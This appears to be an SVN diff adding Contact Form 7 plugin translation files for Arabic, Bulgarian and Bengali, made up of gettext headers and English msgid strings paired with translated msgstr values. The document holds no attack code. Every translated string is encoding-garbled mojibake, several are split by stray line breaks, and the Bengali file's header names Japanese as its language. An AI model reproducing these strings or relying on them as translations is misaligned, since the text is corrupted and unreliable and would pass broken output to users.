+msgstr "ØšØ±ÙØ¯ (2)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "Ø§Ø³ØªØ®Ø¯Ù
+ ØšØ±ÙØ¯ (2)"
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid "Messages"
+msgstr "Ø±Ø³Ø§ØŠÙ"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid "Sender's message was sent successfully"
+msgstr "ØªÙ
+ Ø¥Ø±Ø³Ø§Ù Ø§ÙØ±Ø³Ø§ÙØ© ØšÙØ¬Ø§Ø­"
+
+#: contact-form-7/includes/admin-panel.php:97
+msgid "Sender's message was failed to send"
+msgstr "ÙÙ
+ ÙØªÙ
+ Ø¥Ø±Ø³Ø§Ù Ø§ÙØ±Ø³Ø§ÙØ©"
+
+#: contact-form-7/includes/admin-panel.php:101
+msgid "Akismet judged the sending activity as spamming"
+msgstr "ÙÙØ¯ ØªÙ
+ ØªØµÙÙÙ ÙØ°Ù Ø§ÙØ±Ø³Ø§ÙØ© Ù
+Ù Ø§ÙØ±Ø³Ø§ØŠÙ Ø§ÙÙ
+Ø²Ø¹Ø¬Ø© Ø¹Ù Ø·Ø±ÙÙ Akismet "
+
+#: contact-form-7/includes/admin-panel.php:105
+msgid "Validation errors occurred"
+msgstr "Ø­Ø¯Ø«Øª Ù
+ØŽÙÙØ© Ø£Ø«ÙØ§Ø¡ Ø§ÙØªØ­ÙÙ Ù
+Ù Ø§ÙØšÙØ§ÙØ§Øª"
+
+#: contact-form-7/includes/admin-panel.php:109
+msgid "There is a field of term that sender is needed to accept"
+msgstr "ÙÙØ§Ù Ø®Ø§ÙØ© ÙÙ Ø§ÙØŽØ±ÙØ· ÙØ­ØªØ§Ø¬ Ø§ÙÙ
+Ø±Ø³Ù Ø¥ÙÙ Ø§ÙÙ
+ÙØ§ÙÙÙ Ø¹ÙÙÙØ§."
+
+#: contact-form-7/includes/admin-panel.php:113
+msgid "Email address that sender entered is invalid"
+msgstr "Ø§ÙØšØ±ÙØ¯ Ø§ÙØ°Ù Ø£Ø¯Ø®ÙÙ Ø§ÙÙ
+Ø±Ø³Ù ØºÙØ± ØµØ­ÙØ­"
+
+#: contact-form-7/includes/admin-panel.php:117
+msgid "There is a field that sender is needed to fill in"
+msgstr "ÙÙØ§Ù Ø®Ø§ÙØ© ÙØ­ØªØ§Ø¬ Ø§ÙÙ
+Ø±Ø³Ù Ø¥ÙÙ Ù
+ÙØ£ÙØ§."
+
+#: contact-form-7/includes/admin-panel.php:121
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Ø§ÙÙÙØ¯ Ø§ÙØ°Ù Ø£Ø¯Ø®ÙÙ Ø§ÙÙ
+Ø±Ø³Ù ÙÙ
+ ÙØªØ·Ø§ØšÙ Ù
+Ø¹ Ø®Ø§ØµÙØ© CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:130
+msgid "Save"
+msgstr "Ø­ÙØž"
+
+#: contact-form-7/includes/admin-panel.php:137
+msgid "Delete this contact form"
+msgstr "Ø§Ø­Ø°Ù ÙÙ
+ÙØ°Ø¬ Ø§ÙØ§ØªØµØ§Ù ÙØ°Ø§"
+
+#: contact-form-7/includes/admin-panel.php:138
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Ø§ÙØª Ø¹ÙÙ ÙØŽÙ Ø­Ø°Ù ÙÙ
+ÙØ°Ø¬ Ø§ÙØ§ØªØµØ§Ù Ø§ÙÙ
+Ø­Ø¯Ø¯.Ø£Ø¶ØºØ· \"Ø¥ÙØºØ§Ø¡\" Ø£Ù \"ÙØ¹Ù
+\" ÙÙØ­Ø°Ù."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bg_BG.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bg_BG.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bg_BG.po	(revision 44)
@@ -0,0 +1,290 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7 Bulgarian translation\n"
+"POT-Creation-Date: 2007-10-24 13:47+0900\n"
+"PO-Revision-Date: 2008-01-26 00:00+0200\n"
+"Last-Translator: Iliyan Darganov <iliyan@darganov.com>\n"
+"Language-Team: Iliyan Darganov <iliyan@darganov.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-Language: Bulgarian\n"
+"X-Poedit-Country: BULGARIA\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:251
+msgid "Contact form"
+msgstr "Ð€ÐŸÑÐŒÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ"
+
+#: contact-form-7/wp-contact-form-7.php:336
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:352
+msgid "optional"
+msgstr "ÐœÐµÐ·Ð°ÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸ"
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "Generate Tag"
+msgstr "ÐÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐœÐ° ÐµÑÐžÐºÐµÑ"
+
+#: contact-form-7/wp-contact-form-7.php:354
+msgid "Text field"
+msgstr "Ð¢ÐµÐºÑÑÐŸÐ²ÐŸ Ð¿ÐŸÐ»Ðµ"
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "Email field"
+msgstr "ÐÐŸÐ»Ðµ Ð·Ð° email"
+
+#: contact-form-7/wp-contact-form-7.php:356
+msgid "Text area"
+msgstr "Ð¢ÐµÐºÑÑÐŸÐ²Ð° ÐŸÐ±Ð»Ð°ÑÑ"
+
+#: contact-form-7/wp-contact-form-7.php:357
+msgid "Drop-down menu"
+msgstr "ÐÐ°ÐŽÐ°ÑÐŸ ÐŒÐµÐœÑ"
+
+#: contact-form-7/wp-contact-form-7.php:358
+msgid "Checkboxes"
+msgstr "ÐÑÐŒÐµÑÐºÐž"
+
+#: contact-form-7/wp-contact-form-7.php:359
+msgid "Radio buttons"
+msgstr "Ð Ð°ÐŽÐžÐŸ Ð±ÑÑÐŸÐœÐž"
+
+#: contact-form-7/wp-contact-form-7.php:360
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:361
+msgid "Submit button"
+msgstr "ÐÑÑÐŸÐœ Ð·Ð° ÐžÐ·Ð¿ÑÐ°ÑÐ°ÐœÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:362
+msgid "Name"
+msgstr "ÐÐŒÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:363
+msgid "Required field?"
+msgstr "ÐÐ°ÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸ Ð¿ÐŸÐ»Ðµ?"
+
+#: contact-form-7/wp-contact-form-7.php:364
+msgid "Allow multiple selections?"
+msgstr "ÐÑÐ·ÐŒÐŸÐ¶ÐœÐŸÑÑ Ð·Ð° ÐžÐ·Ð±ÐŸÑ ÐœÐ° Ð¿ÐŸÐ²ÐµÑÐµ ÐŸÑ ÐµÐŽÐœÐŸ?"
+
+#: contact-form-7/wp-contact-form-7.php:365
+msgid "Insert a blank item as the first option?"
+msgstr "ÐÐŒÑÐºÐ²Ð°ÐœÐµ ÐœÐ° Ð¿ÑÐ°Ð·ÐœÐŸ Ð¿ÐŸÐ»Ðµ Ð·Ð° Ð¿ÑÑÐ²Ð° ÑÑÐŸÐ¹ÐœÐŸÑÑ?"
+
+#: contact-form-7/wp-contact-form-7.php:366
+msgid "Make checkboxes exclusive?"
+msgstr "ÐÐ° Ð±ÑÐŽÐ°Ñ Ð»Ðž ÐŸÑÐŒÐµÑÐºÐžÑÐµ ÑÐ¿ÐµÑÐžÐ°Ð»ÐœÐž?"
+
+#: contact-form-7/wp-contact-form-7.php:367
+msgid "Choices"
+msgstr "Ð¡ÑÐŸÐ¹ÐœÐŸÑÑÐž"
+
+#: contact-form-7/wp-contact-form-7.php:368
+msgid "Label"
+msgstr "ÐÐ°ÐŽÐ¿ÐžÑ"
+
+#: contact-form-7/wp-contact-form-7.php:369
+msgid "Default value"
+msgstr "Ð¡ÑÐŸÐ¹ÐœÐŸÑÑ Ð¿ÐŸ Ð¿ÐŸÐŽÑÐ°Ð·Ð±ÐžÑÐ°ÐœÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:370
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:371
+msgid "This field requires author's name"
+msgstr "Ð¢ÐŸÐ²Ð° Ð¿ÐŸÐ»Ðµ ÐžÐ·ÐžÑÐºÐ²Ð° ÐžÐŒÐµÑÐŸ ÐœÐ° Ð°Ð²ÑÐŸÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:372
+msgid "This field requires author's URL"
+msgstr "Ð¢ÐŸÐ²Ð° Ð¿ÐŸÐ»Ðµ ÐžÐ·ÐžÑÐºÐ²Ð° URL Ð°ÐŽÑÐµÑÐ° ÐœÐ° Ð°Ð²ÑÐŸÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "This field requires author's email address"
+msgstr "Ð¢ÐŸÐ²Ð° Ð¿ÐŸÐ»Ðµ ÐžÐ·ÐžÑÐºÐ²Ð° email Ð°ÐŽÑÐµÑÐ° ÐœÐ° Ð°Ð²ÑÐŸÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:374
+msgid "Copy and paste this code into the form"
+msgstr "ÐÐŸÐ¿ÐžÑÐ°Ð¹ÑÐµ Ðž ÑÐ»ÐŸÐ¶ÐµÑÐµ ÑÐŸÐ·Ðž ÐºÐŸÐŽ Ð²ÑÐ² ÑÐŸÑÐŒÐ°ÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:375
+msgid "Foreground color"
+msgstr "ÐŠÐ²ÑÑ ÐœÐ° ÑÐµÐºÑÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:376
+msgid "Background color"
+msgstr "Ð€ÐŸÐœÐŸÐ² ÑÐ²ÑÑ"
+
+#: contact-form-7/wp-contact-form-7.php:377
+msgid "Image size"
+msgstr "Ð Ð°Ð·ÐŒÐµÑ ÐœÐ° ÐžÐ·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÐµÑÐŸ"
+
+#: contact-form-7/wp-contact-form-7.php:378
+msgid "Small"
+msgstr "ÐÐ°Ð»ÑÐº"
+
+#: contact-form-7/wp-contact-form-7.php:379
+msgid "Medium"
+msgstr "Ð¡ÑÐµÐŽÐµÐœ"
+
+#: contact-form-7/wp-contact-form-7.php:380
+msgid "Large"
+msgstr "ÐÐŸÐ»ÑÐŒ"
+
+#: contact-form-7/wp-contact-form-7.php:381
+msgid "Image settings"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐœÐ° ÐžÐ·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÐµÑÐŸ"
+
+#: contact-form-7/wp-contact-form-7.php:382
+msgid "Input field settings"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž ÐœÐ° Ð¿ÐŸÐ»ÐµÑÐŸ Ð·Ð° Ð²ÑÐ²ÐµÐ¶ÐŽÐ°ÐœÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:383
+msgid "For image"
+msgstr "ÐÐ° ÐžÐ·ÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:384
+msgid "For input field"
+msgstr "ÐÐ° Ð¿ÐŸÐ»Ðµ Ð·Ð° Ð²ÑÐ²ÐµÐ¶ÐŽÐ°ÐœÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:385
+msgid "* One choice per line."
+msgstr "* ÐÐ° ÑÐµÐŽ Ð¿ÐŸ ÐµÐŽÐœÐ° ÑÑÐŸÐ¹ÐœÐŸÑÑ."
+
+#: contact-form-7/wp-contact-form-7.php:404
+msgid "Contact form created."
+msgstr "Ð€ÐŸÑÐŒÐ°ÑÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ Ðµ ÑÑÐ·ÐŽÐ°ÐŽÐµÐœÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:407
+msgid "Contact form saved."
+msgstr "Ð€ÐŸÑÐŒÐ°ÑÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ Ðµ Ð·Ð°Ð¿Ð°Ð·ÐµÐœÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:410
+msgid "Contact form deleted."
+msgstr "Ð€ÐŸÑÐŒÐ°ÑÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ Ðµ ÐžÐ·ÑÑÐžÑÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:417
+msgid "Untitled"
+msgstr "ÐÐµÐ· ÐžÐŒÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Your Name"
+msgstr "ÐÐ°ÑÐµÑÐŸ ÐžÐŒÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:441
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "(required)"
+msgstr "(Ð·Ð°ÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸ)"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "Your Email"
+msgstr "ÐÐ°ÑÐžÑÑ Email"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Subject"
+msgstr "ÐÑÐœÐŸÑÐœÐŸ"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Your Message"
+msgstr "ÐÐ°ÑÐµÑÐŸ ÑÑÐŸÐ±ÑÐµÐœÐžÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:449
+#: contact-form-7/wp-contact-form-7.php:893
+msgid "Send"
+msgstr "ÐÐ·Ð¿ÑÐ°ÑÐ°ÐœÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:478
+msgid "Your message was sent successfully. Thanks."
+msgstr "ÐÐ°ÑÐµÑÐŸ ÑÑÐŸÐ±ÑÐµÐœÐžÐµ Ð±ÐµÑÐµ ÑÑÐ¿ÐµÑÐœÐŸ ÐžÐ·Ð¿ÑÐ°ÑÐµÐœÐŸ."
+
+#: contact-form-7/wp-contact-form-7.php:480
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ÐÐµÑÑÐ¿ÐµÑÐœÐŸ ÐžÐ·Ð¿ÑÐ°ÑÐ°ÐœÐµ ÐœÐ° ÑÑÐŸÐ±ÑÐµÐœÐžÐµÑÐŸ. ÐÐŸÐ»Ñ, ÐŸÐ¿ÐžÑÐ°Ð¹ÑÐµ Ð¿ÐŸ-ÐºÑÑÐœÐŸ ÐžÐ»Ðž ÑÐµ ÑÐ²ÑÑÐ¶ÐµÑÐµ Ñ Ð°ÐŽÐŒÐžÐœÐžÑÑÑÐ°ÑÐŸÑÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:482
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ÐÑÐ·ÐœÐžÐºÐœÐ°Ñ
+Ð° Ð³ÑÐµÑÐºÐž Ð¿ÑÐž Ð¿ÑÐŸÐ²ÐµÑÐºÐ°ÑÐ°. ÐÐŸÐ»Ñ, Ð¿ÑÐŸÐ²ÐµÑÐµÑÐµ Ð¿ÐŸÐ»ÐµÑÐ°ÑÐ° Ðž ÐžÐ·Ð¿ÑÐ°ÑÐµÑÐµ ÑÐŸÑÐŒÐ°ÑÐ° ÐŸÑÐœÐŸÐ²ÐŸ."
+
+#: contact-form-7/wp-contact-form-7.php:484
+msgid "Email address seems invalid."
+msgstr "ÐÐ·Ð³Ð»ÐµÐ¶ÐŽÐ° email Ð°ÐŽÑÐµÑÑÑ ÐœÐµ Ðµ Ð²Ð°Ð»ÐžÐŽÐµÐœ."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Please fill the required field."
+msgstr "ÐÐŸÐ»Ñ, Ð¿ÐŸÐ¿ÑÐ»ÐœÐµÑÐµ Ð·Ð°ÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸÑÐŸ Ð¿ÐŸÐ»Ðµ."
+
+#: contact-form-7/wp-contact-form-7.php:488
+msgid "Your entered code is incorrect."
+msgstr "ÐÑÐ²ÐµÐŽÐµÐœÐžÑÑ ÐºÐŸÐŽ ÐœÐµ Ðµ Ð²ÐµÑÐµÐœ."
+
+#: contact-form-7/includes/admin-panel.php:15
+msgid "Add new"
+msgstr "ÐÐŸÐ±Ð°Ð²ÑÐœÐµ ÐœÐ° ÐœÐŸÐ²Ð° ÑÐŸÑÐŒÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ"
+
+#: contact-form-7/includes/admin-panel.php:28
+msgid "Copy and paste this code into your post content."
+msgstr "ÐÐŸÐ¿ÐžÑÐ°Ð¹ÑÐµ Ðž ÑÐ»ÐŸÐ¶ÐµÑÐµ ÑÐŸÐ·Ðž ÐºÐŸÐŽ Ð² ÑÑÐŽÑÑÐ¶Ð°ÐœÐžÐµÑÐŸ ÐœÐ° ÐÐ°ÑÐ°ÑÐ° Ð¿ÑÐ±Ð»ÐžÐºÐ°ÑÐžÑ."
+
+#: contact-form-7/includes/admin-panel.php:33
+msgid "Form"
+msgstr "Ð€ÐŸÑÐŒÐ°"
+
+#: contact-form-7/includes/admin-panel.php:37
+msgid "Mail"
+msgstr "ÐÐŸÑÐ°"
+
+#: contact-form-7/includes/admin-panel.php:39
+#: contact-form-7/includes/admin-panel.php:60
+msgid "To:"
+msgstr "ÐÐŸ:"
+
+#: contact-form-7/includes/admin-panel.php:43
+#: contact-form-7/includes/admin-panel.php:64
+msgid "From:"
+msgstr "ÐÑ:"
+
+#: contact-form-7/includes/admin-panel.php:47
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Subject:"
+msgstr "ÐÑÐœÐŸÑÐœÐŸ:"
+
+#: contact-form-7/includes/admin-panel.php:51
+#: contact-form-7/includes/admin-panel.php:72
+msgid "Message body:"
+msgstr "Ð¡ÑÐŸÐ±ÑÐµÐœÐžÐµ:"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Mail (2)"
+msgstr "ÐÐŸÑÐ° (2)"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Use mail (2)"
+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐµ ÐœÐ° ÐÐŸÑÐ° (2)"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Save"
+msgstr "ÐÐ°Ð¿Ð°Ð·Ð²Ð°ÐœÐµ"
+
+#: contact-form-7/includes/admin-panel.php:86
+msgid "Delete this contact form"
+msgstr "ÐÐ·ÑÑÐžÐ²Ð°ÐœÐµ ÐœÐ° ÑÐŸÑÐŒÐ°ÑÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ"
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ð¡ÐžÐ³ÑÑÐœÐž Ð»Ðž ÑÑÐµ, ÑÐµ ÐžÑÐºÐ°ÑÐµ ÐŽÐ° ÐžÐ·ÑÑÐžÐµÑÐµ ÑÐ°Ð·Ðž ÑÐŸÑÐŒÐ° Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ.\n"
+"  'Cancel' Ð·Ð° ÐŸÑÐºÐ°Ð·, 'OK' Ð·Ð° ÐžÐ·ÑÑÐžÐ²Ð°ÐœÐµ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bn_BD.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bn_BD.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-bn_BD.po	(revision 44)
@@ -0,0 +1,441 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-01 05:19+0900\n"
+"PO-Revision-Date: 2009-07-22 22:03+0900\n"
+"Last-Translator: \n"
+"Language-Team: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ®"
+
+#: contact-form-7/wp-contact-form-7.php:582
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "àŠ¯à§àŠàŠŸàŠ¯à§àŠ àŠ«àŠ°àŠ® à§­"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "optional"
+msgstr "àŠàŠà§àŠàŠ¿àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Generate Tag"
+msgstr "àŠà§àŠ¯àŠŸàŠ àŠ€à§àŠ°à§"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Text field"
+msgstr "àŠ²à§àŠàŠŸàŠ° àŠ«àŠ¿àŠ²à§àŠ¡"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Email field"
+msgstr "àŠàŠ®à§àŠàŠ²à§àŠ° àŠ«àŠ¿àŠ²à§àŠ¡"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Text area"
+msgstr "àŠ²à§àŠàŠŸàŠ° àŠàŠ²àŠŸàŠàŠŸ"
+
+#: contact-form-7/wp-contact-form-7.php:610
+msgid "Drop-down menu"
+msgstr "àŠ¡à§àŠ°àŠª-àŠ¡àŠŸàŠàŠš àŠ®à§àŠšà§"
+
+#: contact-form-7/wp-contact-form-7.php:611
+msgid "Checkboxes"
+msgstr "àŠà§àŠ àŠ¬àŠà§àŠž"
+
+#: contact-form-7/wp-contact-form-7.php:612
+msgid "Radio buttons"
+msgstr "àŠ°à§àŠ¡àŠ¿àŠ àŠ¬àŠŸàŠàŠš"
+
+#: contact-form-7/wp-contact-form-7.php:613
+msgid "Acceptance"
+msgstr "àŠà§àŠ°àŠ¹àŠšàŠ¯à§àŠà§àŠ¯àŠ€àŠŸ"
+
+#: contact-form-7/wp-contact-form-7.php:614
+msgid "Make this checkbox checked by default?"
+msgstr "àŠ¡àŠ¿àŠ«àŠ²à§àŠ¡à§àŠ° àŠàŠšà§àŠ¯ àŠà§àŠàŠ¬àŠà§àŠž àŠšàŠ¿àŠ°à§àŠ¬àŠŸàŠàŠš àŠàŠ°à§àŠš?"
+
+#: contact-form-7/wp-contact-form-7.php:615
+msgid "Make this checkbox work inversely?"
+msgstr "àŠ¬àŠ¿àŠªàŠ°à§àŠ€à§àŠ° àŠàŠšà§àŠ¯ àŠà§àŠàŠ¬àŠà§àŠž àŠšàŠ¿àŠ°à§àŠ¬àŠŸàŠàŠš àŠàŠ°à§àŠš?"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "àŠàŠàŠŸàŠ° àŠ®àŠŸàŠšà§, àŠŠàŠ°à§àŠ¶àŠšàŠŸàŠ°à§àŠ¥à§ àŠ¶àŠ°à§àŠ€àŠŸàŠ¬àŠ²à§ àŠà§àŠ°àŠ¹àŠš àŠàŠ°à§àŠà§, àŠàŠšàŠà§àŠ àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "CAPTCHA"
+msgstr "àŠà§àŠ¯àŠŸàŠªàŠàŠŸ"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Quiz"
+msgstr "àŠà§àŠàŠ"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Quizzes"
+msgstr "àŠà§àŠàŠ"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* àŠà§àŠàŠ|àŠàŠ€à§àŠ€àŠ° (àŠàŠŠàŠŸàŠ¹àŠŸàŠ°àŠ£ à§§+à§š=?|à§š)"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "File upload"
+msgstr "àŠ«àŠŸàŠàŠ² àŠàŠªàŠ²à§àŠ¡"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "Submit button"
+msgstr "àŠªà§àŠ°à§àŠ°àŠ¿àŠ€ àŠ¬àŠŸàŠàŠš"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Name"
+msgstr "àŠšàŠŸàŠ®"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Required field?"
+msgstr "àŠŠàŠ°àŠàŠŸàŠ°à§ àŠ«àŠ¿àŠ²à§àŠ¡?"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Allow multiple selections?"
+msgstr "àŠàŠàŠŸàŠ§àŠ¿àŠ àŠšàŠ¿àŠ°à§àŠ¬àŠŸàŠàŠšà§àŠ° àŠ
+àŠšà§àŠ®àŠ€àŠ¿ àŠŠàŠ¿àŠ¬à§àŠš?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Insert a blank item as the first option?"
+msgstr "àŠªà§àŠ°àŠ¥àŠ®àŠàŠ¿àŠ° àŠàŠšà§àŠ¯ àŠàŠŸàŠ²àŠ¿ àŠ
+àŠªàŠ¶àŠš àŠ°àŠŸàŠàŠ¬à§àŠš?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Make checkboxes exclusive?"
+msgstr "àŠà§àŠàŠ¬àŠà§àŠž àŠ¬àŠ°à§àŠàŠš àŠàŠ°àŠ¬à§àŠš?"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Choices"
+msgstr "àŠªàŠàŠšà§àŠŠ"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Label"
+msgstr "àŠ®à§à§àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Default value"
+msgstr "àŠ¡àŠ¿àŠ«àŠ²à§àŠ àŠ®àŠŸàŠš"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "This field requires author's name"
+msgstr "àŠ²à§àŠàŠà§àŠ° àŠšàŠŸàŠ® àŠàŠ àŠ«àŠ¿àŠ²à§àŠ¡à§ àŠàŠ¬àŠ¶à§àŠ¯àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "This field requires author's URL"
+msgstr "àŠ²à§àŠàŠà§àŠ° URL àŠàŠ àŠ«àŠ¿àŠ²à§àŠ¡à§ àŠàŠ¬àŠ¶à§àŠ¯àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "This field requires author's email address"
+msgstr "àŠ²à§àŠàŠà§àŠ° àŠàŠ®à§àŠàŠ² àŠàŠ àŠ«àŠ¿àŠ²à§àŠ¡à§ àŠàŠ¬àŠ¶à§àŠ¯àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "Copy this code and paste it into the form left."
+msgstr "àŠà§àŠ¡ àŠàŠªàŠ¿ àŠàŠ°à§ àŠ¬àŠŸàŠ®à§àŠ° àŠ«àŠ¿àŠ²à§àŠ¡à§ àŠªà§àŠ·à§àŠ àŠàŠ°à§àŠšà¥€"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Foreground color"
+msgstr "àŠªà§àŠ°à§àŠ­à§àŠ®àŠ¿àŠ° àŠ°àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Background color"
+msgstr "àŠªàŠàŠ­à§àŠ®àŠ¿àŠ° àŠ°àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Image size"
+msgstr "àŠàŠ¬àŠ¿àŠ° àŠžàŠŸàŠàŠ"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Small"
+msgstr "àŠà§àŠ"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Medium"
+msgstr "àŠ®àŠ§à§àŠ¯àŠ®"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Large"
+msgstr "àŠ¬à§"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Image settings"
+msgstr "àŠàŠ¬àŠ¿ àŠžà§àŠàŠ¿àŠàŠž"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Input field settings"
+msgstr "àŠžàŠ°àŠ¬àŠ°àŠŸàŠ¹ àŠ«àŠ¿àŠ²à§àŠ¡ àŠžà§àŠàŠ¿àŠàŠž"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "For image"
+msgstr "àŠàŠ¬àŠ¿àŠ° àŠàŠšà§àŠ¯"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "For input field"
